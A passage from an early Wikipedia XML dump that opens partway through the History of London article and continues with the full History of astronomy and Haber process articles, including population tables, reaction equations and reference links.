A phenomenon of 18th century London was the [[Coffee house]] which became a popular place to debate ideas. Growing [[literacy]] and the development of the [[printing press]] meant that news became widely available. [[Fleet Street]] became the centre of the embryonic British press during the century.

18th century London was dogged by [[crime]], the [[Bow Street Runners]] were established in 1750 as a professional police force. Penalties for crime were harsh, with the [[death penalty]] being applied for fairly minor crimes. Public [[hanging]]s were a common in London, and were popular public events.

In 1780 London was rocked by the [[Gordon Riots]], an uprising by [[Protestant]]s against [[Roman Catholic]] emancipation led by Lord [[George Gordon (politician)|George Gordon]]. Severe damage was caused to Catholic churches and homes, and 285 rioters were killed.

==19th century London ==
[[Image:London engraved by J. &amp; C. Walker in 1845 from a map by R Creighton.JPG|thumb|250px|London as engraved by J. &amp; C. Walker in 1845 from a map by R Creighton. Many districts in the West End were fully developed, and the [[East End]] also extended well beyond the eastern fringe of the City of London. There were now several bridges over the Thames, allowing the rapid development of [[South London]].]]
During the 19th century London was transformed into the world's largest city and capital of the [[British Empire]]. Its population expanded from 1 million in 1800 to 6.7 million a century later. During this period, London became a global political, financial, and trading capital. In this position, it was largely unrivaled until the latter part of the century, when Paris and New York began to threaten its dominance.

While the city grew wealthy as Britain's holdings expanded, 19th century London was also a city of poverty, where millions lived in overcrowded and unsanitary [[slum]]s. Life for the poor was immortalised by [[Charles Dickens]] in such novels as [[Oliver Twist]]. 

In 1829 the prime minister [[Robert Peel]] established the [[Metropolitan Police Service]] as a police force covering the entire urban area. The force gained the nickname of &quot;bobbies&quot; or &quot;peelers&quot; named after Robert Peel.

19th century London was transformed by the coming of the [[railway]]s. A new network of metropolitan railways allowed for the development of [[suburb]]s in neighboring counties from which middle-class and wealthy people could commute to the centre. While this spurred the massive outward growth of the city, the growth of greater London also exacerbated the class divide, as the wealthier classes emigrated to the suburbs, leaving the poor to inhabit the inner city areas.

The first railway to be built in London was a line from [[London Bridge]] to [[Greenwich]], which opened in 1836. This was soon followed by the opening of great rail termini which linked London to every corner of Britain. These included [[Euston station]] (1837), [[Paddington station]] (1838), [[Fenchurch Street station]] (1841), [[Waterloo station]] (1848), [[King's Cross station]] (1850), and [[St Pancras station]] (1863). From the 1850s, the first lines of the [[London Underground]] were constructed.

The urbanised area continued to grow rapidly, spreading into [[Islington]], [[Paddington]], [[Belgravia]], [[Holborn]], [[Finsbury]], [[Shoreditch]], [[Southwark]] and [[Lambeth]]. Towards the middle of the century, London's antiquated [[local government]] system, consisting of ancient [[parish]]es and [[vestry|vestries]], struggled to cope with the rapid growth in population. In 1855 the [[Metropolitan Board of Works]] (MBW) was created to provide London with adequate infrastructure to cope with its growth. 
[[Image:OldLondonBridge.JPG|thumb|250px|Old [[London Bridge]] in the early 1890s]]

One of its first tasks was addressing London's sanitation problems. At the time, raw [[sewage]] was pumped straight into the [[River Thames]]. This culminated in [[The Great Stink]] of 1858. The polluted drinking water (sourced from the Thames) also brought disease and epidemics to London's populace.

Parliament finally gave consent for the MBW to construct a massive system of [[sewer]]s. The engineer put in charge of building the new system was [[Joseph Bazalgette]]. In what was one of the largest [[civil engineering]] projects of the 19th century, he oversaw construction of over 2100 km of tunnels and pipes under London to take away sewage and provide clean drinking water. When the [[London sewerage system]] was completed, the death toll in London dropped dramatically, and epidemics of [[cholera]] and other diseases were curtailed. Bazalgette's system is still in use today.

One of the most famous events of 19th-century London was the [[Great Exhibition of 1851]]. Held at [[The Crystal Palace]], the fair attracted visitors from across the world and displayed Britain at the height of its Imperial dominance.
[[Image:Crystal_palace_1851.JPG|thumb|250px|[[The Crystal Palace]] in 1851.]]
As the capital of a massive empire, London became a magnet for immigrants from the colonies and poorer parts of Europe. A large [[Ireland|Irish]] population settled in the city during the Victorian period, with many of the newcomers refugees from the [[Irish potato famine]]. At one point, Irish immigrants made up about 20% of London's population. London also became home to a sizable [[Jew]]ish community, and small communities of Chinese and South Asians settled in the city.

In 1888, the new [[County of London]] was established, administered by the [[London County Council]]. This was the first elected London-wide administrative body, replacing the earlier Metropolitan Board of Works, which had been made up of appointees. The County of London covered what was then the full extent of the London conurbation, although the conurbation later outgrew the boundaries of the county. The county was split in 1899 into [[metropolitan borough]]s.

Many famous buildings and landmarks of London were constructed during the 19th century including:

*[[Trafalgar Square]]
*[[Big Ben]] and the [[Palace of Westminster|Houses of Parliament]]
*The [[Royal Albert Hall]]
*The [[Victoria and Albert Museum]]
*[[Tower Bridge]]

==20th century London==
===London from 1900 to World War II===
London entered the 20th century at the height of its influence as the capital of largest empire in history, but the new century was to bring many challenges. 

London suffered its first bombing raids during [[World War I]] carried out by [[zeppelin]] [[airship]]s; these killed around 700 people and caused great terror, but were merely a foretaste of what was to come.

The period between the two World Wars saw London's geographical extent growing more quickly than ever before or since. A preference for lower density suburban housing, typically semi-detached, by Londoners seeking a more &quot;rural&quot; lifestyle, superseded Londoners' old predilection for terraced houses. This was facilitated not only by a continuing expansion of the rail network, including the Underground, but also by slowly widening car ownership.

Like the rest of the country, London suffered severe unemployment during the [[Great Depression]] of the 1930s. The population of London reached an all time peak of 8.6 million in 1939.

In the early part of the 20th century, Londoners used [[coal]] for heating their homes, which produced large amounts of smoke. In combination with climatic conditions this often caused a characteristic [[smog]], and London became known for its typical &quot;London Fog&quot;, also known as &quot;Pea Soupers&quot;. London was  sometimes referred to as &quot;The Smoke&quot; because of this.  The [[Clean Air Act 1956]] was introduced following the five-day &quot;pea souper&quot; of [[5 December]] to [[9 December]] [[1952]], which killed over 4,000 people, mandating the creating of &quot;smokeless zones&quot; where the use of &quot;smokeless&quot; fuels was required (this was at a time when most households still used open fires). The Act was effective.

===London in World War II===
[[Image:StPaulsCathedral.jpg|thumb|[[St. Paul's Cathedral]] during the [[World War II|WWII]] bombings of London.]]

During [[World War II]], London, as many other British cities, suffered severe damage, being bombed extensively by the ''[[Luftwaffe]]'' as a part of [[The Blitz]]. Prior to the bombing, hundreds of thousands of children in London were evacuated to the countryside to avoid the bombing. Civilians took shelter from the air raids in underground stations. 

London suffered severe damage during the bombing, the worst hit part being the [[Docklands]] area of the [[East End of London|East End]]. By the war's end, nearly 35,000 Londoners had been killed, and around 50,000 seriously injured, tens of thousands of buildings were destroyed, and hundreds of thousands of people were made homeless.

===Postwar London===
Immediately after the war, the [[1948 Summer Olympics]] were held at [[Wembley Stadium]], at a time when the city had barely recovered from the war. 

In the immediate postwar years housing was a major issue in London, due to the large amount of housing which had been destroyed in the war. The authorities decided upon high-rise [[tower block|blocks of flats]] as the answer to housing shortages. During the 1950s and 1960s the skyline of London altered dramatically as tower blocks were erected, although these later proved unpopular. In a bid to reduce the number of people living in overcrowded housing, a policy was introduced of encouraging people to move into newly built [[new town]]s surrounding London. 

Starting in the mid 1960s, and partly as a result of the success of such UK musicians as [[the Beatles]] and the [[Rolling Stones]], London became an epicentre for the world-wide [[youth culture]], exemplified by the [[Swinging London]] subculture which made [[Carnaby Street]] a household name of youth fashion around the world. London's role as a trendsetter for youth fashion was revived strongly in the 1980s during the [[New Wave music|New Wave]] and [[Punk Rock|Punk]] eras. In the mid-1990s this was revived to some extent with the emergence of the [[Britpop]] era.

===Greater London===

The outward expansion of London was slowed by the war, and the [[Green Belt]] established soon afterwards. Due to this outward expansion, in 1965 the old [[County of London]] (which by now only covered part of the London conurbation) and the [[London County Council]] were abolished, and the much larger area of [[Greater London]] was established with a new [[Greater London Council]] (GLC) to administer it, along with 32 new [[London borough]]s.

In the early 1980s, due to political disputes between the GLC run by [[Ken Livingstone]] and the [[Conservative Party (UK)|Conservative]] government of [[Margaret Thatcher]] the GLC was abolished in 1986 and all of its powers were relegated to the [[London borough]]s. This left London as the only large metropolis in the world without a central administration. 

===Greater London Authority===
[[Image:London.eye.overallview.byday.arp.750pix.jpg|thumb|An icon of 21st century London: the [[London Eye]].]]
In 2000, the [[Greater London Authority]] was established, covering the same area of [[Greater London]] as before and representing London as one of the nine [[regions of England]], distinct from the rest of the South East. The [[London Commuter Belt]] covers an area much wider but is not normally considered part of London.

From the beginning of &quot;[[The Troubles]]&quot; in [[Northern Ireland]] in the early 1970s until the mid-1990s, London was subjected to repeated [[terrorism|terrorist]] attacks by the [[Provisional IRA]].  

Greater London's population declined steadily in the decades after World War II, from an estimated peak of 8.6 million in 1939 to around 6.8 million in the 1980s. However it then began to increase again in the late 1980s, encouraged by strong economic performance and an increasingly positive image. The [[London Plan]], published by the [[Mayor of London]] in 2004, estimated that the population would reach 8.1 million by 2016, and continue to rise thereafter. This was reflected in a move towards denser, more urban styles of building, including an increased number of tall buildings, and proposals for major enhancements to the public transport network. However, funding for projects such as [[Crossrail]] remained a struggle.

==21st Century London==

At the turn of the 21st century, London hosted the much derided [[Millennium Dome]] at [[Greenwich]], to mark the new century. Other Millennium projects were more successful. One was the largest observation wheel in the world, the &quot;Millennium Wheel&quot; of the [[London Eye]], which was erected as a temporary structure, but soon became a fixture, and draws four million visitors a year. The [[National Lottery]] also released a flood of funds for major enhancements to existing attractions, for example the roofing of the Great Court at the [[British Museum]].

On [[July 6]], [[2005]] London won [[London 2012 Olympic bid|the bid to host the 2012 Olympics]].  However, celebrations were cut short the following day when, on [[July 7]], [[2005]], London was rocked by [[7 July 2005 London bombings|a series of terrorist attacks]].  More than 50 were killed and 700 injured in the four bombings on [[London Underground]] and aboard a [[double decker bus]] near [[Russell Square]].

==Population==

:1AD  -- a few farmsteaders
:50   -- 5 - 10,000
:140  -- 45 - 60,000
:300  -- 10 - 20,000
:400  -- fewer than 5000?
:500  -- a few hundred?
:700  -- a few thousand in the new city of [[Lundenwic]]
:900  -- a few thousand in the re-established city of [[Lundenburgh]]
:1000 -- 5 - 10,000
:1100 -- 10,000 - 20,000
:1300 -- 50 - 100,000 (according to research by [[Derek Keene]])
:1350 -- 25 - 50,000 following the [[Black Death]]
:1500 -- 50,000 - 100,000
:1600 -- 100,000 - 200,000
:1700 -- 550,000 (nearly 10% of the population of [[England and Wales]])
:1750 -- 700,000
:1801 -- 959,300 (at the time, Europe's largest city)
:1831 -- 1,655,000 (most populous city in the world)
:1851 -- 2,363,000
:1891 -- 5,572,012 
:1901 -- 6,506,954
:1911 -- 7,160,525 
:1921 -- 7,386,848 (soon to be overtaken by New York as most populous city in the world)
:1931 -- 8,110,480 
:1939 -- 8,615,245 (population peak)
:1951 -- 8,196,978 
:1961 -- 7,992,616
:1971 -- 7,452,520
:1981 -- 6,805,000 
:1991 -- 6,829,300
:2001 -- 7,322,400
:2003 -- 7,387,900
:2016 -- 8.2m (forecast in 'London's Place in the UK Economy' [[Corporation of London]] Sept. 2002)


The first Census was in 1801, so early dates are &quot;guesstimates&quot; based on archaeological density of sites compared with known population of the City of London between 1600 - 1800 (''i.e.'', 50,000). Dates from 1300 onwards are based on what is probably better evidence, from historic records. 

Figures for 1891 onwards are for [[Greater London]] in its 2001 limits (Greater London did not exist until 1965). Figures before 1971 have been reconstructed by the Office for National Statistics based on past censuses in order to fit the 2001 limits. Figures from 1981 onward are midyear estimates (revised as of 2004), which are more accurate than the censuses themselves, known to underestimate the population of London.

==Historical places of note in London==
* [[London Bridge]]
* [[Tower of London]]
* [[Palace of Westminster|Houses of Parliament]]
* [[Buckingham Palace]]
* [[St. Paul's Cathedral]]
* [[Westminster Abbey]]

==External links==
*[http://www.motco.com/MAP/ Motco.com map database] - very detailed historical maps
*[http://chr.org.uk/anddidthosefeet.pdf Roman London - &quot;In their own words&quot;] &lt;small&gt;([[Portable_Document_Format|PDF]])&lt;/small&gt; A literary companion to the [[prehistory]] and [[archaeology]] of London by ''[[Kevin Flude]]''
*[http://books.guardian.co.uk/firstchapters/story/0,6761,544022,00.html London: The Biography] First chapter of the book online by ''[[Peter Ackroyd]]''
*[http://www.newadvent.org/cathen/09341a.htm Londone] - Article in the 1908 Catholic Encyclopedia
* [http://www.knowledgeoflondon.com/ 'Knowledge of London with The History of London']


[[Category:History of London|*]]
[[Category:Roman Britain]]
[[Category:Roman sites in England]]

[[cs:Dějiny Londýna]]
[[de:Geschichte Londons]]
[[fr:Histoire de Londres]]
[[he:היסטוריה של לונדון]]
[[nl:Geschiedenis van Londen]]
[[nb:Londons historie]]
[[sk:Dejiny Londýna]]

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  <page>
    <title>History of astronomy</title>
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      <contributor>
        <username>Brian0918</username>
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      <comment>add pic</comment>
      <text xml:space="preserve">{{histOfScience}}
[[Image:Table of Astronomy, Cyclopaedia, Volume 1, p 164.jpg|thumb|right|250px|Table of astronomy, from the 1728 ''[[Cyclopaedia]]'']]

[[Astronomy]] is probably the oldest of the [[natural science]]s, dating back to [[ancient history|antiquity]], with its origins in the religious practices of [[pre-history]]: vestiges of these are still found in [[astrology]], a discipline long interwoven with astronomy, and not completely separate from it until about 1750&amp;#8209;1800 in the [[Western World]]. Early astronomy involved observing and predicting the motions of [[visual perception|visible]] [[celestial sphere|celestial]] objects, especially [[star]]s and [[planet]]s. An example of this early astronomy might involve a study of the [[relationships]] between the &quot;[[height|apparent height]]&quot; of the [[noon]] [[Sun]], with respect to the changing [[pattern]]s of [[night]]time [[star]]s. Eventually [[natal chart|astrological charts]] were drawn up by cultures around the world using the raw astronomical data collected. 

Ancient astronomers were able to differentiate between stars and planets, as stars remain relatively fixed over the [[century|centuries]] while planets will move an appreciable amount during a comparatively short time.

==Ancient history==

Early [[culture]]s identifed celestial objects with [[mythology|god]]s and [[spiritual being|spirit]]s. They related these objects (and their movements) to phenomena such as [[rain]], [[drought]], [[season]]s, and [[tide]]s. It is generally believed that the first &quot;professional&quot; astronomers were [[priest]]s ([[Magi]]), and that their understanding of the &quot;[[heaven]]s&quot; was seen as &quot;[[divinity|divine]]&quot;, hence astronomy's ancient connection to what is now called astrology. Ancient constructions with astronomical [[alineation]]s (such as [[Stonehenge]]) probably fulfilled both astronomical and [[religion|religious]] [[social function|function]]s.  

[[Calendar]]s of the world have usually been set by the Sun and Moon (measuring the [[day]], [[month]] and [[year]]), and were of importance to [[agriculture|agricultural]] societies, in which the harvest depended on planting at the correct time of year. The most common [[Gregorian calendar|modern calendar]] is based on the Roman calendar, which divided the year into twelve months of alternating thirty and thirty-one days apiece.  In [[46 BC]] [[Julius Caesar]] instigated [[Julian calendar|calendar reform]] and created the [[leap year]].

==India==
''See also:'' [[Hindu astronomy]]

There are astronomical references of chronological significance in the [[Vedas]]. Some Vedic notices mark the beginning of the year and that of the [[vernal equinox]] in Orion; this was the case around 4500 BC. Fire altars, with astronomical basis, have been found in the third millennium cities of India. The texts that describe their designs are conservatively dated to the first millennium BC, but their contents appear to be much older. 

[[Yajnavalkya]] (perhaps [[1800 BC]]) described the motions of the Sun and the Moon in his book [[Shatapatha Brahmana]], and also advanced a 95-year cycle to synchronize the motions of the Sun and the Moon.

The ''Vedanga Jyotisha'', a text on [[Vedic astrology]] that has been dated to [[1350 BC]], was written by [[Lagadha]]. It describes rules for tracking the motions of the Sun and the Moon, and also develops the use of [[geometry]] and [[trigonometry]] for astronomical uses.

Around [[500]] CE, [[Aryabhata]] presented a mathematical system that took the Earth to spin on its axis and considered the motions of the planets with respect to the Sun. He also made an accurate approximation of the Earth's [[circumference]] and [[diameter]], and also discovered how the [[lunar eclipse]] and [[solar eclipse]] happen for the first time. He gives the [[radius]] of the planetary [[orbit]]s in terms of the radius of the Earth/Sun orbit as essentially their periods of rotation around the Sun. He was also the earliest to discover that the orbits of the planets around the Sun are [[ellipse]]s. [http://www-groups.dcs.st-and.ac.uk/~history/Mathematicians/Aryabhata_I.html]

[[Brahmagupta]] (598-668) was the head of the astronomical observatory at [[Ujjain]] and during his tenure there wrote a text on astronomy, the ''[[Brahmasphutasiddhanta]]'' in [[628]]. He was the earliest to use algebra to solve astronomical problems. He also develops methods for calculations of the motions and places of various planets, their rising and setting, conjunctions, and the calculation of eclipses of the Sun and the Moon.

[[Bhaskara]] (1114-1185) was the head of the astronomical observatory at Ujjain, continuing the mathematical tradition of Brahmagupta. He wrote the ''Siddhantasiromani'' which consists of two parts: ''Goladhyaya'' (sphere) and ''Grahaganita'' (mathematics of the planets). He also calculated the time taken for the Earth to orbit the sun to 9 decimal places.

Other important astronomers from India include [[Madhava of Sangamagrama|Madhava]], [[Nilakantha Somayaji]] and [[Jyeshtadeva]], who were members of the [[Kerala school]] of astronomy and mathematics from the [[14th century]] to the [[16th century]]. They were responsible for founding [[calculus]] and modern [[mathematical analysis]], along with a number of other developments.

==Mesopotamia==

===Sumer===
===Chaldea, Babylonia===

==Mesoamerica==

===Maya civilization===

The [[Maya civilization|Maya]] calculated the [[solar year]] to somewhat greater accuracy than the [[Gregorian calendar]]. They made detailed tables for calculating phases of the Moon and the movements of Venus for centuries in the past or future. Astronomy and the measurement of time were vitally important components of Mayan religion.

The Maya also carefully tracked the phases of the Moon and the motions of the [[Seven Lights of the Earth|naked eye planets]].  To the ancient Maya, [[Venus]] was the patron of war and many recorded battles are timed to the motions of this planet.  [[Mars]] is also mentioned in preserved astronomical [[codex|codices]] and early [[Maya mythology|mythology]].

==East Asia==

===China===
Ancient Chinese astronomy dates back more than two millennia. Chinese astronomers were to be able to predict comets and eclipses precisely. Any inaccuracy and the Emperor would order the astronomer to be beheaded.

==Ancient Greece==

[[Ancient Greece|Greek]] [[philosopher]]s thought of several models to explain the movements of stars, planets, the Sun and the Moon. [[Eratosthenes]], using the angles of shadows created at widely-separated regions, estimated the circumference of the [[Earth]] with great accuracy. [[Hipparchus (astronomer)|Hipparchus]] made a number of important contributions, including the first measurement of [[precession]] and the compilation of the first star catalog. [[Ptolemy]] later referred to this work in his important ''[[Almagest]],'' which had a lasting effect on astronomy up to the [[Renaissance]].

==Korea==
[[Image:Cheomseongdae_Observatory_gyeongju.jpg|thumb|left|200px|[[Cheomsongdae]], world's first [[Astronomical observatory]].]]

East Asia's first astronomical observatory was developed in kingdom of [[Silla]], one of [[Three Kingdoms of Korea]]. It literally means ''Star-gazing Tower'' in Korean. It was constructed under [[Queen Seondeok of Silla]]'s reign during the 7th century.  It still survives to this day. [[http://www.indiana.edu/~easc/resources/korea_slides/science/9-1.htm]

==Middle ages==

Greeks made some important contributions to astronomy, but the progress was mostly stagnant in [[Middle Ages|medieval]] [[Europe]], while it flourished in the [[Arab]] world and priests in distant parishes needed elementary astronomical knowledge for calculating the exact date of the Easter. The Arabic world under [[Islam]] had become highly cultured, and many important works of knowledge from [[ancient Greece]] were translated into Arabic, used and stored in libraries throughout the area. The late [[9th century]] [[Persian people|Persian]] astronomer [[al-Farghani]] wrote extensively on the motion of celestial bodies. His work was translated into Latin in the [[12th century]]. 

In the late [[10th century]], a huge [[observatory]] was built near [[Tehran]], [[Iran]], by the astronomer al-Khujandi who observed a series of meridian transits of the Sun, which allowed him to calculate the obliquity of the ecliptic, also known as the tilt of the Earth's axis relative to the Sun. In Persia, [[Omar Khayyám]] compiled many tables and performed a reformation of the [[calendar]] that was more accurate than the [[Julian Calendar|Julian]] and came close to the [[Gregorian calendar|Gregorian]]. An amazing feat was his calculation of the year to be 365.24219858156 days long, which is accurate to the 6th decimal place.

Meanwhile in Europe, astronomy was one of the seven core subjects of any [[studium generale]] (now known as &quot;[[Medieval university|Universities]]&quot;). The model from the Greeks most remembered through the [[Middle Ages]] was the geocentric model, in which the spherical Earth was in the center of the Universe, with the Sun, Moon and planets each occupying its own concentric sphere. Stars used the outermost one.

In the [[14th century]], [[Nicole Oresme]] showed that the reasons proposed by the physics of Aristotle against the movement of the Earth were not valid and adduced the argument of simplicity for the theory that the earth moves, and ''not'' the heavens. And in the [[15th century]], [[Nicholas of Cusa]] suggested in some of his scientific writings that the Earth revolved around the Sun, and that each star is itself a distant sun. He was not, however, describing a scientifically verifiable theory of the universe.

== The Copernican revolution ==
[[Image:galileo.arp.300pix.jpg|thumb|left|200px|Galileo Galilei (1564-1642) crafted his own telescope and discovered that our Moon had craters, that Jupiter had moons, that the Sun had spots, and that Venus had phases like our Moon. Galileo argued that these observations supported the [[Copernicus|Copernican system]], in which the planets revolved around the Sun and not the Earth, as was commonly believed then.]]
The [[renaissance]] came to astronomy with the work of [[Copernicus]], who proposed a [[heliocentric]] system. His work was defended, expanded upon and corrected by the likes of [[Galileo Galilei]] and [[Johannes Kepler]].

Kepler, using precise naked-eye observations made by [[Tycho Brahe]], discovered the three [[Kepler's laws of planetary motion|laws of planetary movement]] that carry his name (though he published them mixed with some other not-so-correct ideas, and didn't give them the importance that we do).

Galileo was among the first to use a [[telescope]] to observe the sky, and after constructing a 20x [[refractor telescope]] he discovered the four largest [[Galilean moon|moon]]s of [[Jupiter (planet)|Jupiter]] in [[1610]]. This was the first observation of satellites orbiting another planet. This, along with Galileo noting that Venus exhibited a full set of [[Lunar phase|phases]], was seen as incompatible with the church's favoured model of the Earth at the center of the universe and led to much [[Galileo_Galilei#Church controversy|controversy]].

== Physics marries astronomy ==

[[Isaac Newton]] was the first scientist to marry physics with astronomy, discovering that the same force that causes objects to fall on Earth, causes the motion of planets and the Moon. Using his Law of [[gravity]], the [[laws of Kepler]] are explained, and the heliocentric system gained a sound physical basis, [[celestial mechanics]] was invented. Newton also found out that the white light from the Sun can be decomposed into its component colors; this fact is crucial for most of the 20th-century research.

== Modern astronomy ==

At the end of the 19th century it was discovered that, when decomposing the light from the Sun, a multitude of [[spectral line]]s were observed (regions where there was less or no light). Experiments with hot gases showed that the same lines could be observed in the spectra of gases, specific lines corresponding to unique elements. It was proved that the [[chemical element]]s found in the Sun (chiefly [[hydrogen]] and [[helium]]) were also found on Earth.
During the 20th century [[spectrometry]] (the study of these lines) advanced, especially because of the advent of [[quantum physics]], that was necessary to understand the observations.

Although in previous centuries noted astronomers were exclusively male, at the turn of the 20th century women began to play a role in the great discoveries.  In this period prior to modern computers, women at the [[United States Naval Observatory]] (USNO), [[Harvard University]], and other astronomy research institutions often served as human &quot;computers,&quot; whom performed the tedious calculations while scientists performed research requiring more background knowledge.  [http://maia.usno.navy.mil/women_history/history.html]  (It is worth noting that the word for modern electronic computers comes from this use of humans, as the &quot;-er&quot; ending typically refers to humans performing a task, while &quot;-or&quot; refers to machines.)  Many of the discoveries in this period were originally noted by the women &quot;computers&quot; and reported to their supervisors.  For example, [[Henrietta Swan Leavitt]] discovered the [[cepheid variable]] star period-luminosity relation, [[Annie Jump Cannon]] organized the stellar [[stellar classification|spectral types]] according to stellar temperature, and [[Maria Mitchell]] was the first person to discover a comet using a telescope.  (See [http://www.astrosociety.org/education/resources/womenast_bib.html] for more women astronomers.)  Some of these women received little or no recognition during their lives due to their lower professional standing in the field of astronomy.  And although their discoveries are taught in classrooms around the world, few students of astronomy can attribute the works to their authors.

== Cosmology and the expansion of the universe ==

Most of our current knowledge was gained during the 20th century. With the help of the use of [[photography]], fainter objects were observed. Our sun was found to be part of a [[galaxy]] made by more than 10&lt;sup&gt;10&lt;/sup&gt; stars (10 billion stars). The existence of other galaxies, one of the matters of ''[[the great debate]]'', was settled by [[Edwin Hubble]], who identified the [[Andromeda Galaxy|Andromeda nebula]] as a different galaxy, and many others at large distances and receding, moving away from our galaxy.

[[Cosmology]], a discipline that has a large intersection with astronomy, made huge advances during the 20th century, with the model of the hot [[big bang]] heavily supported by the evidence provided by astronomy and physics, such as the [[redshift|redshifts]] of very distant galaxies and radio sources, the [[cosmic microwave background radiation]], [[Hubble's law]] and [[big bang nucleosynthesis|cosmological abundances of elements]].

== New windows into the Cosmos open ==

Late in the 19th century, scientists began discovering forms of light which were invisible to the naked eye: [[X-Ray]]s, [[gamma ray]]s, [[radio wave]]s, [[microwave]]s, [[ultraviolet radiation]], and [[infrared radiation]]. This had a major impact on astronomy, spawning the fields of [[infrared astronomy]], [[radio astronomy]], [[x-ray astronomy]] and finally [[gamma-ray astronomy]]. With the advent of [[spectroscopy]] it was proved that other stars were similar to our own sun, but with a range of [[temperature]]s, [[mass]]es and sizes. The existence of our [[galaxy]], the [[Milky Way]], as a separate group of stars was only proven in the 20th century, along with the existence of &quot;external&quot; galaxies, and soon after, the expansion of the [[universe]] seen in the recession of most galaxies from us.

The 20th century was an exciting time for astronomy, with each advance in instrumentation leading to a new breakthrough in the understanding of the universe.

==See also== 
* [[Astronomy historian]]
* [[Archaeoastronomy]]
* [[History of astronomical interferometry]]

==References==
*[[Anton Pannekoek]], ''A History of Astronomy'', Dover Publications 1989
*''The History of Astronomy: A Very Short Introduction'', Michael Hoskin, Oxford University Press, ISBN 0192803069
*[http://www.shpltd.co.uk/jha.html Journal for the History of Astronomy]
*[http://uk.arxiv.org/abs/physics/0301078 Indian and Babylonian astronomy]

[[Category:History of astronomy|*]]
[[Category:Astronomy]]

[[ca:Història de l'astronomia]]
[[de:Geschichte der Astronomie]]
{{Link FA|de}}
[[et:Astronoomia ajalugu]]
[[es:Historia de la astronomía]]
[[fr:Histoire de l'astronomie]]
[[gl:Historia da Astronomía]]
[[it:Storia dell'astronomia]]
[[ja:天文学史]]
[[nl:Geschiedenis van de astronomie]]
[[fi:Tähtitieteen historia]]
[[zh:天文学史]]
[[ru:История астрономии]]</text>
    </revision>
  </page>
  <page>
    <title>Haber process</title>
    <id>14022</id>
    <revision>
      <id>41162268</id>
      <timestamp>2006-02-25T13:00:03Z</timestamp>
      <contributor>
        <username>Latinus</username>
        <id>800894</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/220.253.88.63|220.253.88.63]] ([[User talk:220.253.88.63|talk]]) to last version by Rjstott</comment>
      <text xml:space="preserve">The '''Haber Process''' (also ''Haber-Bosch process'') is the reaction of [[nitrogen]] and [[hydrogen]] to produce [[ammonia]].

The nitrogen and hydrogen are reacted over an [[iron]] [[catalyst]] under conditions of 200 atmospheres, 450°C:

:N&lt;sub&gt;2&lt;/sub&gt;(g) + 3H&lt;sub&gt;2&lt;/sub&gt;(g) {{unicode|&amp;#8652;}}  2NH&lt;sub&gt;3&lt;/sub&gt;(g) + &amp;Delta;H     &lt;sup&gt;...&lt;/sup&gt;(1)

The process was first patented by [[Fritz Haber]] in [[1908]]. In [[1910]] [[Carl Bosch]], while working for chemical company [[BASF]], successfully commercialized the process and secured further patents. It was first used on an industrial scale by the Germans during [[World War I]]: Germany had previously imported [[Sodium nitrate|'Chilean saltpeter']] from [[Chile]], but the demand for munitions and the uncertainty of this supply in the war prompted the adoption of the process. The ammonia produced was oxidized for the production of [[nitric acid]] in the [[Ostwald process]], and the [[nitric acid]] for the production of various explosive nitro compounds used in munitions. 

The nitrogen is obtained from the air, and the hydrogen is obtained from water and [[natural gas]] in [[steam reforming]]:

:[[carbon|C]]H&lt;sub&gt;4&lt;/sub&gt;(g) + H&lt;sub&gt;2&lt;/sub&gt;[[oxygen|O]](g) &amp;rarr; CO(g) + 3H&lt;sub&gt;2&lt;/sub&gt;(g)     &lt;sup&gt;...&lt;/sup&gt;(2)

and [[shift conversion]]:

:CO(g) + H&lt;sub&gt;2&lt;/sub&gt;O(g) &amp;rarr; CO&lt;sub&gt;2&lt;/sub&gt;(g) + H&lt;sub&gt;2&lt;/sub&gt;(g)     &lt;sup&gt;...&lt;/sup&gt;(3)

==Equilibrium and the Haber process==
The reaction of nitrogen and hydrogen (1) is [[chemical equilibrium|reversible]], meaning the reaction can proceed in either the forward or the reverse direction depending on conditions. The forward reaction is [[exothermic reaction|exothermic]], meaning it produces heat and is favored at low [[temperature]]s. Increasing the temperature tends to drive the reaction in the reverse direction, which is undesirable if the goal is to produce ammonia.  However, reducing the temperature reduces the rate of the reaction, which is also undesirable. Therefore, an intermediate temperature high enough to allow the reaction to proceed at a reasonable rate, yet not so high as to drive the reaction in the reverse direction, is required. Usually, 400°C is used.

High [[pressure]]s favour the forward  reaction because there are fewer molecules on the right side. So the only compromise in pressure is the economical situation trying to increase the pressure as much as possible. Usually, 200 [[atm]] is used.

The [[catalyst]] has no effect on the position of equilibrium, however it does increase the reaction rate. This allows the process to be operated at lower temperatures, which as mentioned before favors the forward reaction.  The first Haber-Bosch reaction chambers used [[osmium]] and [[uranium]] catalysts. However, today a much less expensive [[iron]] catalyst is used almost exclusively.

In industrial practice, the iron catalyst is prepared by exposing a mass of [[magnetite]], an iron oxide, to the hot hydrogen feedstock. This reduces some of the magnetite to metallic iron, in the metallic iron, removing [[oxygen]] in the process. However, the catalyst maintains most of its bulk volume during the reduction, and so the result is a highly porous material whose large surface area aids its effectiveness as a catalyst. Other minor components of the catalyst include [[calcium]] and [[aluminium]] oxides, which support the porous iron catalyst and help it maintain its surface area over time, and [[potassium]], which increases the [[electron]] density of the catalyst and so improves its reactivity.

The ammonia is formed as a gas but on cooling in the condensor liquefies at the high pressures used, and so is removed as a [[liquid]]. Unreacted nitrogen and hydrogen is fed back in to the reaction.

The Haber process now produces 500 million tons of artificial fertilizer per year, mostly in the form of anhydrous [[ammonia]], [[ammonium nitrate]], and [[urea]]. 1% of the world's energy supply is consumed in the manufacturing of that fertilizer (Science 297(1654), Sep 2002). That fertilizer is responsible for sustaining 40% of the Earth's population.

==References==
* ''Enriching the Earth: Fritz Haber, Carl Bosch, and the Transformation of World Food Production'' by  Vaclav Smil (2001) ISBN 0-262-19449-X
* ''Fertilizer Industry: Processes, Pollution Control and Energy Conservation'' by Marshall Sittig (1979) Noyes Data Corp., N.J. ISBN 0-8155-0734-8

==External links==
*[http://www.wisegeek.com/what-is-the-haber-bosch-process.htm What is the Haber-Bosch Process?]
*[http://www.idsia.ch/~juergen/haberbosch.html Haber-Bosch process]
*[http://www.efma.org/Publications/10anniversary/Section02.asp Fertilizer,agriculture and the production of food]
*[http://www.earthinstitute.columbia.edu/crosscutting/cciseminars/2005spring/Sanchez040705.htm Food Crises and the Role of Agriculture: Past and Current]
*[http://www.britannica.com/nobel/micro/253_44.html Britannica guide to Nobel Prizes: Haber-Bosch process]

&lt;!--Categories--&gt;
[[Category:Chemical processes]]
[[Category:Industrial processes]]
[[Category:Peak oil]]

